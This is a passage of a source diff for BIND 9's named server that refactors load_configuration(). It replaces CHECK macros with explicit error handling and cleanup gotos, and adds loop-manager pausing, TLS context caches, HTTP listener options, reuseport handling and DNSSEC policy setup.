-	unsigned int maxsocks;
 	uint32_t softquota = 0;
 	uint32_t max;
 	uint64_t initial, idle, keepalive, advertised;
+	bool loadbalancesockets;
+	bool exclusive = true;
 	dns_aclenv_t *env =
 		ns_interfacemgr_getaclenv(named_g_server->interfacemgr);
 
+	/*
+	 * Require the reconfiguration to happen always on the main loop
+	 */
+	REQUIRE(isc_loop_current(named_g_loopmgr) == named_g_mainloop);
+
 	ISC_LIST_INIT(kasplist);
 	ISC_LIST_INIT(viewlist);
 	ISC_LIST_INIT(builtin_viewlist);
 	ISC_LIST_INIT(cachelist);
 	ISC_LIST_INIT(altsecrets);
 
+	/* Ensure exclusive access to configuration data. */
+	isc_loopmgr_pause(named_g_loopmgr);
+
 	/* Create the ACL configuration context */
 	if (named_g_aclconfctx != NULL) {
 		cfg_aclconfctx_detach(&named_g_aclconfctx);
 	}
-	CHECK(cfg_aclconfctx_create(named_g_mctx, &named_g_aclconfctx));
+	result = cfg_aclconfctx_create(named_g_mctx, &named_g_aclconfctx);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_exclusive;
+	}
 
 	/*
 	 * Shut down all dyndb instances.
@@ -8564,12 +8313,17 @@ load_configuration(const char *filename, named_server_t *server,
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
 		      "loading configuration from '%s'", filename);
-	CHECK(cfg_parser_create(named_g_mctx, named_g_lctx, &conf_parser));
+	result = cfg_parser_create(named_g_mctx, named_g_lctx, &conf_parser);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_exclusive;
+	}
+
 	cfg_parser_setcallback(conf_parser, directory_callback, NULL);
 	result = cfg_parse_file(conf_parser, filename, &cfg_type_namedconf,
 				&config);
-
-	CHECK(result);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_conf_parser;
+	}
 
 	/*
 	 * Check the validity of the configuration.
@@ -8578,7 +8332,27 @@ load_configuration(const char *filename, named_server_t *server,
 	 * checked later when the modules are actually loaded and
 	 * registered.)
 	 */
-	CHECK(bind9_check_namedconf(config, false, named_g_lctx, named_g_mctx));
+	result = isccfg_check_namedconf(config, BIND_CHECK_ALGORITHMS,
+					named_g_lctx, named_g_mctx);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_config;
+	}
+
+	/* Let's recreate the TLS context cache */
+	if (server->tlsctx_server_cache != NULL) {
+		isc_tlsctx_cache_detach(&server->tlsctx_server_cache);
+	}
+
+	isc_tlsctx_cache_create(named_g_mctx, &server->tlsctx_server_cache);
+
+	if (server->tlsctx_client_cache != NULL) {
+		isc_tlsctx_cache_detach(&server->tlsctx_client_cache);
+	}
+
+	isc_tlsctx_cache_create(named_g_mctx, &server->tlsctx_client_cache);
+
+	dns_zonemgr_set_tlsctx_cache(server->zonemgr,
+				     server->tlsctx_client_cache);
 
 	/*
 	 * Fill in the maps array, used for resolving defaults.
@@ -8592,6 +8366,7 @@ load_configuration(const char *filename, named_server_t *server,
 	maps[i++] = named_g_defaults;
 	maps[i] = NULL;
 
+#if HAVE_LIBNGHTTP2
 	obj = NULL;
 	result = named_config_get(maps, "http-port", &obj);
 	INSIST(result == ISC_R_SUCCESS);
@@ -8602,110 +8377,68 @@ load_configuration(const char *filename, named_server_t *server,
 	INSIST(result == ISC_R_SUCCESS);
 	named_g_httpsport = (in_port_t)cfg_obj_asuint32(obj);
 
-	/*
-	 * If bind.keys exists, load it.  If "dnssec-validation auto"
-	 * is turned on, the root key found there will be used as a
-	 * default trust anchor.
-	 */
 	obj = NULL;
-	result = named_config_get(maps, "bindkeys-file", &obj);
+	result = named_config_get(maps, "http-listener-clients", &obj);
 	INSIST(result == ISC_R_SUCCESS);
-	CHECKM(setstring(server, &server->bindkeysfile, cfg_obj_asstring(obj)),
-	       "strdup");
-	INSIST(server->bindkeysfile != NULL);
+	named_g_http_listener_clients = cfg_obj_asuint32(obj);
 
-	if (access(server->bindkeysfile, R_OK) == 0) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-			      "reading built-in trust anchors "
-			      "from file '%s'",
-			      server->bindkeysfile);
-
-		CHECK(cfg_parser_create(named_g_mctx, named_g_lctx,
-					&bindkeys_parser));
+	obj = NULL;
+	result = named_config_get(maps, "http-streams-per-connection", &obj);
+	INSIST(result == ISC_R_SUCCESS);
+	named_g_http_streams_per_conn = cfg_obj_asuint32(obj);
+#endif
 
-		result = cfg_parse_file(bindkeys_parser, server->bindkeysfile,
-					&cfg_type_bindkeys, &bindkeys);
-		if (result != ISC_R_SUCCESS) {
+	/*
+	 * If "dnssec-validation auto" is turned on, the root key
+	 * will be used as a default trust anchor. The root key
+	 * is built in, but if bindkeys-file is set, then it will
+	 * be overridden with the key in that file.
+	 */
+	obj = NULL;
+	(void)named_config_get(maps, "bindkeys-file", &obj);
+	if (obj != NULL) {
+		setstring(server, &server->bindkeysfile, cfg_obj_asstring(obj));
+		INSIST(server->bindkeysfile != NULL);
+		if (access(server->bindkeysfile, R_OK) != 0) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-				      "unable to parse '%s' error '%s'; using "
-				      "built-in keys instead",
-				      server->bindkeysfile,
-				      isc_result_totext(result));
+				      "unable to open '%s'; using built-in "
+				      "keys instead",
+				      server->bindkeysfile);
+		} else {
+			result = cfg_parser_create(named_g_mctx, named_g_lctx,
+						   &bindkeys_parser);
+			if (result != ISC_R_SUCCESS) {
+				goto cleanup_config;
+			}
+
+			result = cfg_parse_file(bindkeys_parser,
+						server->bindkeysfile,
+						&cfg_type_bindkeys, &bindkeys);
+			if (result != ISC_R_SUCCESS) {
+				isc_log_write(
+					named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+					NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
+					"unable to parse '%s' "
+					"error '%s'; using "
+					"built-in keys instead",
+					server->bindkeysfile,
+					isc_result_totext(result));
+			}
 		}
 	} else {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-			      "unable to open '%s'; using built-in keys "
-			      "instead",
-			      server->bindkeysfile);
-	}
-
-	/* Ensure exclusive access to configuration data. */
-	if (!exclusive) {
-		result = isc_task_beginexclusive(server->task);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		exclusive = true;
+		setstring(server, &server->bindkeysfile, NULL);
 	}
 
 	/*
-	 * Set process limits, which (usually) needs to be done as root.
+	 * Check the process lockfile.
 	 */
-	set_limits(maps);
+	result = check_lockfile(server, config, first_time);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_bindkeys_parser;
+	}
 
-	/*
-	 * Check the process lockfile.
-	 */
-	CHECK(check_lockfile(server, config, first_time));
-
-	/*
-	 * Check if max number of open sockets that the system allows is
-	 * sufficiently large.	Failing this condition is not necessarily fatal,
-	 * but may cause subsequent runtime failures for a busy recursive
-	 * server.
-	 */
-	result = isc_socketmgr_getmaxsockets(named_g_socketmgr, &maxsocks);
-	if (result != ISC_R_SUCCESS) {
-		maxsocks = 0;
-	}
-	result = isc_resource_getcurlimit(isc_resource_openfiles, &nfiles);
-	if (result == ISC_R_SUCCESS && (isc_resourcevalue_t)maxsocks > nfiles) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-			      "max open files (%" PRIu64 ")"
-			      " is smaller than max sockets (%u)",
-			      nfiles, maxsocks);
-	}
-
-	/*
-	 * Set the number of socket reserved for TCP, stdio etc.
-	 */
-	obj = NULL;
-	result = named_config_get(maps, "reserved-sockets", &obj);
-	INSIST(result == ISC_R_SUCCESS);
-	reserved = cfg_obj_asuint32(obj);
-	if (maxsocks != 0) {
-		if (maxsocks < 128U) { /* Prevent underflow. */
-			reserved = 0;
-		} else if (reserved > maxsocks - 128U) { /* Minimum UDP space.
-							  */
-			reserved = maxsocks - 128;
-		}
-	}
-	/* Minimum TCP/stdio space. */
-	if (reserved < 128U) {
-		reserved = 128;
-	}
-	if (reserved + 128U > maxsocks && maxsocks != 0) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-			      "less than 128 UDP sockets available after "
-			      "applying 'reserved-sockets' and 'maxsockets'");
-	}
-	isc_socketmgr_setreserved(named_g_socketmgr, reserved);
-
-#if defined(HAVE_GEOIP2)
+#if defined(HAVE_GEOIP2)
 	/*
 	 * Release any previously opened GeoIP2 databases.
 	 */
@@ -8721,8 +8454,7 @@ load_configuration(const char *filename, named_server_t *server,
 	result = named_config_get(maps, "geoip-directory", &obj);
 	INSIST(result == ISC_R_SUCCESS);
 	if (cfg_obj_isstring(obj)) {
-		char *dir;
-		DE_CONST(cfg_obj_asstring(obj), dir);
+		char *dir = UNCONST(cfg_obj_asstring(obj));
 		named_geoip_load(dir);
 	}
 	named_g_aclconfctx->geoip = named_g_geoip;
@@ -8736,17 +8468,20 @@ load_configuration(const char *filename, named_server_t *server,
 	configure_server_quota(maps, "tcp-clients", &server->sctx->tcpquota);
 	configure_server_quota(maps, "recursive-clients",
 			       &server->sctx->recursionquota);
+	configure_server_quota(maps, "update-quota", &server->sctx->updquota);
 
 	max = isc_quota_getmax(&server->sctx->recursionquota);
 	if (max > 1000) {
-		unsigned margin = ISC_MAX(100, named_g_cpus + 1);
+		unsigned int margin = ISC_MAX(100, named_g_cpus + 1);
 		if (margin + 100 > max) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 				      "'recursive-clients %d' too low when "
 				      "running with %d worker threads",
 				      max, named_g_cpus);
-			CHECK(ISC_R_RANGE);
+			result = ISC_R_RANGE;
+
+			goto cleanup_bindkeys_parser;
 		}
 		softquota = max - margin;
 	} else {
@@ -8759,32 +8494,23 @@ load_configuration(const char *filename, named_server_t *server,
 	 * Set "blackhole". Only legal at options level; there is
 	 * no default.
 	 */
-	CHECK(configure_view_acl(NULL, config, NULL, "blackhole", NULL,
-				 named_g_aclconfctx, named_g_mctx,
-				 &server->sctx->blackholeacl));
+	result = configure_view_acl(NULL, config, NULL, "blackhole", NULL,
+				    named_g_aclconfctx, named_g_mctx,
+				    &server->sctx->blackholeacl);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_bindkeys_parser;
+	}
+
 	if (server->sctx->blackholeacl != NULL) {
 		dns_dispatchmgr_setblackhole(named_g_dispatchmgr,
 					     server->sctx->blackholeacl);
 	}
 
-	/*
-	 * Set "keep-response-order". Only legal at options or
-	 * global defaults level.
-	 */
-	CHECK(configure_view_acl(NULL, config, named_g_config,
-				 "keep-response-order", NULL,
-				 named_g_aclconfctx, named_g_mctx,
-				 &server->sctx->keepresporder));
-
 	obj = NULL;
 	result = named_config_get(maps, "match-mapped-addresses", &obj);
 	INSIST(result == ISC_R_SUCCESS);
 	env->match_mapped = cfg_obj_asboolean(obj);
 
-	CHECKM(named_statschannels_configure(named_g_server, config,
-					     named_g_aclconfctx),
-	       "configuring statistics server(s)");
-
 	/*
 	 * Configure the network manager
 	 */
@@ -8857,11 +8583,11 @@ load_configuration(const char *filename, named_server_t *server,
 	isc_nm_settimeouts(named_g_netmgr, initial, idle, keepalive,
 			   advertised);
 
-#define CAP_IF_NOT_ZERO(v, min, max)        \
-	if (v > 0 && v < min) {             \
-		recv_tcp_buffer_size = min; \
-	} else if (v > max) {               \
-		recv_tcp_buffer_size = max; \
+#define CAP_IF_NOT_ZERO(v, min, max) \
+	if (v > 0 && v < min) {      \
+		v = min;             \
+	} else if (v > max) {        \
+		v = max;             \
 	}
 
 	/* Set the kernel send and receive buffer sizes */
@@ -8901,10 +8627,22 @@ load_configuration(const char *filename, named_server_t *server,
 	/*
 	 * Configure sets of UDP query source ports.
 	 */
-	CHECKM(isc_portset_create(named_g_mctx, &v4portset), "creating UDP "
-							     "port set");
-	CHECKM(isc_portset_create(named_g_mctx, &v6portset), "creating UDP "
-							     "port set");
+	result = isc_portset_create(named_g_mctx, &v4portset);
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+			      "creating UDP/IPv4 port set: %s",
+			      isc_result_totext(result));
+		goto cleanup_bindkeys_parser;
+	}
+	result = isc_portset_create(named_g_mctx, &v6portset);
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+			      "creating UDP/IPv6 port set: %s",
+			      isc_result_totext(result));
+		goto cleanup_v4portset;
+	}
 
 	usev4ports = NULL;
 	usev6ports = NULL;
@@ -8915,9 +8653,16 @@ load_configuration(const char *filename, named_server_t *server,
 	if (usev4ports != NULL) {
 		portset_fromconf(v4portset, usev4ports, true);
 	} else {
-		CHECKM(isc_net_getudpportrange(AF_INET, &udpport_low,
-					       &udpport_high),
-		       "get the default UDP/IPv4 port range");
+		result = isc_net_getudpportrange(AF_INET, &udpport_low,
+						 &udpport_high);
+		if (result != ISC_R_SUCCESS) {
+			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+				      "get the default UDP/IPv4 port range: %s",
+				      isc_result_totext(result));
+			goto cleanup_v6portset;
+		}
+
 		if (udpport_low == udpport_high) {
 			isc_portset_add(v4portset, udpport_low);
 		} else {
@@ -8941,9 +8686,15 @@ load_configuration(const char *filename, named_server_t *server,
 	if (usev6ports != NULL) {
 		portset_fromconf(v6portset, usev6ports, true);
 	} else {
-		CHECKM(isc_net_getudpportrange(AF_INET6, &udpport_low,
-					       &udpport_high),
-		       "get the default UDP/IPv6 port range");
+		result = isc_net_getudpportrange(AF_INET6, &udpport_low,
+						 &udpport_high);
+		if (result != ISC_R_SUCCESS) {
+			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+				      "get the default UDP/IPv6 port range: %s",
+				      isc_result_totext(result));
+			goto cleanup_v6portset;
+		}
 		if (udpport_low == udpport_high) {
 			isc_portset_add(v6portset, udpport_low);
 		} else {
@@ -9030,15 +8781,12 @@ load_configuration(const char *filename, named_server_t *server,
 	if (named_g_port != 0) {
 		listen_port = named_g_port;
 	} else {
-		CHECKM(named_config_getport(config, "port", &listen_port),
-		       "port");
+		result = named_config_getport(config, "port", &listen_port);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_v6portset;
+		}
 	}
 
-	/*
-	 * Determining the default DSCP code point.
-	 */
-	CHECKM(named_config_getdscp(config, &named_g_dscp), "dscp");
-
 	/*
 	 * Find the listen queue depth.
 	 */
@@ -9051,6 +8799,27 @@ load_configuration(const char *filename, named_server_t *server,
 	}
 	ns_interfacemgr_setbacklog(server->interfacemgr, backlog);
 
+	obj = NULL;
+	result = named_config_get(maps, "reuseport", &obj);
+	INSIST(result == ISC_R_SUCCESS);
+	loadbalancesockets = cfg_obj_asboolean(obj);
+#if HAVE_SO_REUSEPORT_LB
+	if (first_time) {
+		isc_nm_setloadbalancesockets(named_g_netmgr,
+					     cfg_obj_asboolean(obj));
+	} else if (loadbalancesockets !=
+		   isc_nm_getloadbalancesockets(named_g_netmgr))
+	{
+		cfg_obj_log(obj, named_g_lctx, ISC_LOG_WARNING,
+			    "changing reuseport value requires server restart");
+	}
+#else
+	if (loadbalancesockets) {
+		cfg_obj_log(obj, named_g_lctx, ISC_LOG_WARNING,
+			    "reuseport has no effect on this system");
+	}
+#endif
+
 	/*
 	 * Configure the interface manager according to the "listen-on"
 	 * statement.
@@ -9059,7 +8828,6 @@ load_configuration(const char *filename, named_server_t *server,
 		const cfg_obj_t *clistenon = NULL;
 		ns_listenlist_t *listenon = NULL;
 
-		clistenon = NULL;
 		/*
 		 * Even though listen-on is present in the default
 		 * configuration, this way is easier.
@@ -9068,22 +8836,29 @@ load_configuration(const char *filename, named_server_t *server,
 			(void)cfg_map_get(options, "listen-on", &clistenon);
 		}
 		if (clistenon != NULL) {
-			CHECK(listenlist_fromconfig(
+			result = listenlist_fromconfig(
 				clistenon, config, named_g_aclconfctx,
-				named_g_mctx, AF_INET, &listenon));
+				named_g_mctx, AF_INET,
+				server->tlsctx_server_cache, &listenon);
 		} else {
 			/*
 			 * Not specified, use default.
 			 */
-			CHECK(ns_listenlist_default(named_g_mctx, listen_port,
-						    -1, true, &listenon));
+			result = ns_listenlist_default(named_g_mctx,
+						       listen_port, true,
+						       AF_INET, &listenon);
+		}
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_v6portset;
 		}
+
 		if (listenon != NULL) {
 			ns_interfacemgr_setlistenon4(server->interfacemgr,
 						     listenon);
 			ns_listenlist_detach(&listenon);
 		}
 	}
+
 	/*
 	 * Ditto for IPv6.
 	 */
@@ -9095,15 +8870,20 @@ load_configuration(const char *filename, named_server_t *server,
 			(void)cfg_map_get(options, "listen-on-v6", &clistenon);
 		}
 		if (clistenon != NULL) {
-			CHECK(listenlist_fromconfig(
+			result = listenlist_fromconfig(
 				clistenon, config, named_g_aclconfctx,
-				named_g_mctx, AF_INET6, &listenon));
+				named_g_mctx, AF_INET6,
+				server->tlsctx_server_cache, &listenon);
 		} else {
 			/*
 			 * Not specified, use default.
 			 */
-			CHECK(ns_listenlist_default(named_g_mctx, listen_port,
-						    -1, true, &listenon));
+			result = ns_listenlist_default(named_g_mctx,
+						       listen_port, true,
+						       AF_INET6, &listenon);
+		}
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_v6portset;
 		}
 		if (listenon != NULL) {
 			ns_interfacemgr_setlistenon6(server->interfacemgr,
@@ -9112,25 +8892,29 @@ load_configuration(const char *filename, named_server_t *server,
 		}
 	}
 
-	/*
-	 * Rescan the interface list to pick up changes in the
-	 * listen-on option.  It's important that we do this before we try
-	 * to configure the query source, since the dispatcher we use might
-	 * be shared with an interface.
-	 */
-	result = ns_interfacemgr_scan(server->interfacemgr, true);
+	if (first_time) {
+		/*
+		 * Rescan the interface list to pick up changes in the
+		 * listen-on option. This requires the loopmgr to be
+		 * temporarily resumed.
+		 */
+		isc_loopmgr_resume(named_g_loopmgr);
+		result = ns_interfacemgr_scan(server->interfacemgr, true, true);
+		isc_loopmgr_pause(named_g_loopmgr);
 
-	/*
-	 * Check that named is able to TCP listen on at least one
-	 * interface. Otherwise, another named process could be running
-	 * and we should fail.
-	 */
-	if (first_time && (result == ISC_R_ADDRINUSE)) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-			      "unable to listen on any configured interfaces");
-		result = ISC_R_FAILURE;
-		goto cleanup;
+		/*
+		 * Check that named is able to TCP listen on at least one
+		 * interface. Otherwise, another named process could be running
+		 * and we should fail.
+		 */
+		if (result == ISC_R_ADDRINUSE) {
+			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+				      "unable to listen on any configured "
+				      "interfaces");
+			result = ISC_R_FAILURE;
+			goto cleanup_v6portset;
+		}
 	}
 
 	/*
@@ -9141,15 +8925,14 @@ load_configuration(const char *filename, named_server_t *server,
 	result = named_config_get(maps, "interface-interval", &obj);
 	INSIST(result == ISC_R_SUCCESS);
 	interface_interval = cfg_obj_asduration(obj);
-	if (interface_interval == 0) {
-		CHECK(isc_timer_reset(server->interface_timer,
-				      isc_timertype_inactive, NULL, NULL,
-				      true));
-	} else if (server->interface_interval != interface_interval) {
-		isc_interval_set(&interval, interface_interval, 0);
-		CHECK(isc_timer_reset(server->interface_timer,
-				      isc_timertype_ticker, NULL, &interval,
-				      false));
+	if (server->interface_timer != NULL) {
+		if (interface_interval == 0) {
+			isc_timer_stop(server->interface_timer);
+		} else if (server->interface_interval != interface_interval) {
+			isc_interval_set(&interval, interface_interval, 0);
+			isc_timer_start(server->interface_timer,
+					isc_timertype_ticker, &interval);
+		}
 	}
 	server->interface_interval = interface_interval;
 
@@ -9169,24 +8952,19 @@ load_configuration(const char *filename, named_server_t *server,
 	INSIST(result == ISC_R_SUCCESS);
 	heartbeat_interval = cfg_obj_asuint32(obj) * 60;
 	if (heartbeat_interval == 0) {
-		CHECK(isc_timer_reset(server->heartbeat_timer,
-				      isc_timertype_inactive, NULL, NULL,
-				      true));
+		isc_timer_stop(server->heartbeat_timer);
 	} else if (server->heartbeat_interval != heartbeat_interval) {
 		isc_interval_set(&interval, heartbeat_interval, 0);
-		CHECK(isc_timer_reset(server->heartbeat_timer,
-				      isc_timertype_ticker, NULL, &interval,
-				      false));
+		isc_timer_start(server->heartbeat_timer, isc_timertype_ticker,
+				&interval);
 	}
 	server->heartbeat_interval = heartbeat_interval;
 
 	isc_interval_set(&interval, 1200, 0);
-	CHECK(isc_timer_reset(server->pps_timer, isc_timertype_ticker, NULL,
-			      &interval, false));
+	isc_timer_start(server->pps_timer, isc_timertype_ticker, &interval);
 
 	isc_interval_set(&interval, named_g_tat_interval, 0);
-	CHECK(isc_timer_reset(server->tat_timer, isc_timertype_ticker, NULL,
-			      &interval, false));
+	isc_timer_start(server->tat_timer, isc_timertype_ticker, &interval);
 
 	/*
 	 * Write the PID file.
@@ -9215,42 +8993,90 @@ load_configuration(const char *filename, named_server_t *server,
 	(void)configure_session_key(maps, server, named_g_mctx, first_time);
 
 	/*
-	 * Create the DNSSEC key and signing policies (KASP).
+	 * Create the built-in kasp policies ("default", "insecure").
 	 */
 	kasps = NULL;
-	(void)cfg_map_get(config, "dnssec-policy", &kasps);
+	(void)cfg_map_get(named_g_config, "dnssec-policy", &kasps);
 	for (element = cfg_list_first(kasps); element != NULL;
 	     element = cfg_list_next(element))
 	{
 		cfg_obj_t *kconfig = cfg_listelt_value(element);
+
 		kasp = NULL;
-		CHECK(cfg_kasp_fromconfig(kconfig, NULL, named_g_mctx,
-					  named_g_lctx, &kasplist, &kasp));
+		result = cfg_kasp_fromconfig(kconfig, default_kasp, true,
+					     named_g_mctx, named_g_lctx,
+					     &kasplist, &kasp);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_kasplist;
+		}
 		INSIST(kasp != NULL);
 		dns_kasp_freeze(kasp);
+
+		/* Insist that the first built-in policy is the default one. */
+		if (default_kasp == NULL) {
+			INSIST(strcmp(dns_kasp_getname(kasp), "default") == 0);
+			dns_kasp_attach(kasp, &default_kasp);
+		}
+
 		dns_kasp_detach(&kasp);
 	}
+	INSIST(default_kasp != NULL);
+
 	/*
-	 * Create the built-in kasp policies ("default", "insecure").
+	 * Create the DNSSEC key and signing policies (KASP).
 	 */
-	kasp = NULL;
-	CHECK(cfg_kasp_fromconfig(NULL, "default", named_g_mctx, named_g_lctx,
-				  &kasplist, &kasp));
-	INSIST(kasp != NULL);
-	dns_kasp_freeze(kasp);
-	dns_kasp_detach(&kasp);
-
-	kasp = NULL;
-	CHECK(cfg_kasp_fromconfig(NULL, "insecure", named_g_mctx, named_g_lctx,
-				  &kasplist, &kasp));
-	INSIST(kasp != NULL);
-	dns_kasp_freeze(kasp);
-	dns_kasp_detach(&kasp);
+	kasps = NULL;
+	(void)cfg_map_get(config, "dnssec-policy", &kasps);
+	for (element = cfg_list_first(kasps); element != NULL;
+	     element = cfg_list_next(element))
+	{
+		cfg_obj_t *kconfig = cfg_listelt_value(element);
+		kasp = NULL;
+		result = cfg_kasp_fromconfig(kconfig, default_kasp, true,
+					     named_g_mctx, named_g_lctx,
+					     &kasplist, &kasp);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_kasplist;
+		}
+		INSIST(kasp != NULL);
+		dns_kasp_freeze(kasp);
+		dns_kasp_detach(&kasp);
+	}
 
+	dns_kasp_detach(&default_kasp);
 	tmpkasplist = server->kasplist;
 	server->kasplist = kasplist;
 	kasplist = tmpkasplist;
 
+#ifdef USE_DNSRPS
+	/*
+	 * Find the path to the DNSRPS implementation library.
+	 */
+	obj = NULL;
+	if (named_config_get(maps, "dnsrps-library", &obj) == ISC_R_SUCCESS) {
+		if (server->dnsrpslib != NULL) {
+			dns_dnsrps_server_destroy();
+			isc_mem_free(server->mctx, server->dnsrpslib);
+			server->dnsrpslib = NULL;
+		}
+		setstring(server, &server->dnsrpslib, cfg_obj_asstring(obj));
+		result = dns_dnsrps_server_create(server->dnsrpslib);
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_DEBUG(1),
+			      "initializing DNSRPS RPZ provider '%s': %s",
+			      server->dnsrpslib, isc_result_totext(result));
+		/*
+		 * It's okay if librpz isn't available. We'll complain
+		 * later if it turns out to be needed for a view with
+		 * "dnsrps-enable yes".
+		 */
+		if (result == ISC_R_FILENOTFOUND) {
+			result = ISC_R_SUCCESS;
+		}
+		CHECKFATAL(result, "initializing RPZ service interface");
+	}
+#endif /* ifdef USE_DNSRPS */
+
 	/*
 	 * Configure the views.
 	 */
@@ -9258,36 +9084,27 @@ load_configuration(const char *filename, named_server_t *server,
 	(void)cfg_map_get(config, "view", &views);
 
 	/*
-	 * Create the views and count all the configured zones in
-	 * order to correctly size the zone manager's task table.
-	 * (We only count zones for configured views; the built-in
-	 * "bind" view can be ignored as it only adds a negligible
-	 * number of zones.)
-	 *
-	 * If we're allowing new zones, we need to be able to find the
-	 * new zone file and count those as well.  So we setup the new
-	 * zone configuration context, but otherwise view configuration
-	 * waits until after the zone manager's task list has been sized.
+	 * Create the views.
 	 */
 	for (element = cfg_list_first(views); element != NULL;
 	     element = cfg_list_next(element))
 	{
 		cfg_obj_t *vconfig = cfg_listelt_value(element);
-		const cfg_obj_t *voptions = cfg_tuple_get(vconfig, "options");
-		int nzf_num_zones;
-
-		view = NULL;
+		dns_view_t *view = NULL;
 
-		CHECK(create_view(vconfig, &viewlist, &view));
+		result = create_view(vconfig, &viewlist, &view);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_viewlist;
+		}
 		INSIST(view != NULL);
 
-		num_zones += count_zones(voptions);
-
-		CHECK(setup_newzones(view, config, vconfig, conf_parser,
-				     named_g_aclconfctx, &nzf_num_zones));
-		num_zones += nzf_num_zones;
-
+		result = setup_newzones(view, config, vconfig, conf_parser,
+					named_g_aclconfctx);
 		dns_view_detach(&view);
+
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_viewlist;
+		}
 	}
 
 	/*
@@ -9295,28 +9112,23 @@ load_configuration(const char *filename, named_server_t *server,
 	 * view here.
 	 */
 	if (views == NULL) {
-		int nzf_num_zones;
+		dns_view_t *view = NULL;
 
-		CHECK(create_view(NULL, &viewlist, &view));
+		result = create_view(NULL, &viewlist, &view);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_viewlist;
+		}
 		INSIST(view != NULL);
 
-		num_zones = count_zones(config);
-
-		CHECK(setup_newzones(view, config, NULL, conf_parser,
-				     named_g_aclconfctx, &nzf_num_zones));
-		num_zones += nzf_num_zones;
+		result = setup_newzones(view, config, NULL, conf_parser,
+					named_g_aclconfctx);
 
 		dns_view_detach(&view);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_viewlist;
+		}
 	}
 
-	/*
-	 * Zones have been counted; set the zone manager task pool size.
-	 */
-	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-		      "sizing zone task pool based on %d zones", num_zones);
-	CHECK(dns_zonemgr_setsize(named_g_server->zonemgr, num_zones));
-
 	/*
 	 * Configure and freeze all explicit views.  Explicit
 	 * views that have zones were already created at parsing
@@ -9326,12 +9138,21 @@ load_configuration(const char *filename, named_server_t *server,
 	     element = cfg_list_next(element))
 	{
 		cfg_obj_t *vconfig = cfg_listelt_value(element);
+		dns_view_t *view = NULL;
 
 		view = NULL;
-		CHECK(find_view(vconfig, &viewlist, &view));
-		CHECK(configure_view(view, &viewlist, config, vconfig,
-				     &cachelist, &server->kasplist, bindkeys,
-				     named_g_mctx, named_g_aclconfctx, true));
+		result = find_view(vconfig, &viewlist, &view);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_cachelist;
+		}
+
+		result = configure_view(view, &viewlist, config, vconfig,
+					&cachelist, &server->kasplist, bindkeys,
+					named_g_mctx, named_g_aclconfctx, true);
+		if (result != ISC_R_SUCCESS) {
+			dns_view_detach(&view);
+			goto cleanup_cachelist;
+		}
 		dns_view_freeze(view);
 		dns_view_detach(&view);
 	}
@@ -9341,11 +9162,18 @@ load_configuration(const char *filename, named_server_t *server,
 	 * were no explicit views.
 	 */
 	if (views == NULL) {
-		view = NULL;
-		CHECK(find_view(NULL, &viewlist, &view));
-		CHECK(configure_view(view, &viewlist, config, NULL, &cachelist,
-				     &server->kasplist, bindkeys, named_g_mctx,
-				     named_g_aclconfctx, true));
+		dns_view_t *view = NULL;
+		result = find_view(NULL, &viewlist, &view);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup_cachelist;
+		}
+		result = configure_view(view, &viewlist, config, NULL,
+					&cachelist, &server->kasplist, bindkeys,
+					named_g_mctx, named_g_aclconfctx, true);
+		if (result != ISC_R_SUCCESS) {
+			dns_view_detach(&view);
+			goto cleanup_cachelist;
+		}
 		dns_view_freeze(view);
